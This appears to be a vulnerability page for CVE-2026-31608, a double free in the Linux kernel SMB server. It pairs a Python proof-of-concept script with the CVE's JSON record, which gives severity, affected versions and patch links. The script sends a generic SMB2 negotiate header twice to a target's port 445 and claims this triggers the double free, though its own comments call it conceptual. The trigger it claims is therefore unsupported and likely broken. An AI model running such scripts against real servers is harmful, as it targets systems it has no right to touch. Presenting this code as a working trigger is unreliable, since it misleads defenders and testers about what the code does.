CVE-2026-31608

/* * PoC for CVE-2026-31608 (Linux Kernel SMB Server Double Free) * This is a conceptual trigger to demonstrate the network interaction. * Exploitation requires specific heap grooming. */ import socket import struct import sys def create_negotiate_packet(): # Simplified SMB2 NEGOTIATE Protocol Request header # Real exploitation would craft specific SMB Direct commands header = b'\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' header += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' header += b'\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00' return header def trigger_vulnerability(target_ip, target_port=445): print(f"[*] Connecting to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malformed packet to trigger smb_direct_free_sendmsg double free...") payload = create_negotiate_packet() # In a real exploit, this would trigger the specific code path # involving smb_direct_flush_send_list() followed by the erroneous free. s.sendall(payload) # Attempt to keep connection alive or send subsequent packets # to force the flush and free logic. s.sendall(payload) print("[+] Payload sent. Check kernel logs for crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_31608_poc.py <target_ip>") sys.exit(1) trigger_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-31608", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.063", "lastModified": "2026-04-29T20:03:44.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: avoid double-free in smb_direct_free_sendmsg after smb_direct_flush_send_list()\n\nsmb_direct_flush_send_list() already calls smb_direct_free_sendmsg(),\nso we should not call it again after post_sendmsg()\nmoved it to the batch list."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.18.24", "matchCriteriaId": "E7BFA239-2F39-4B24-92AA-6F60AA187C18"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2ba03f46132b0d1a7bafb86e1ef61951a2254023", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6968c91fab05b8fc4d6700e0cf34472bb422df25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/830de6eeb9db4cb7e758201fb99328ef4ca4b032", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/84ff995ae826aa6bbcc6c7b9ea569ff67c021d72", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}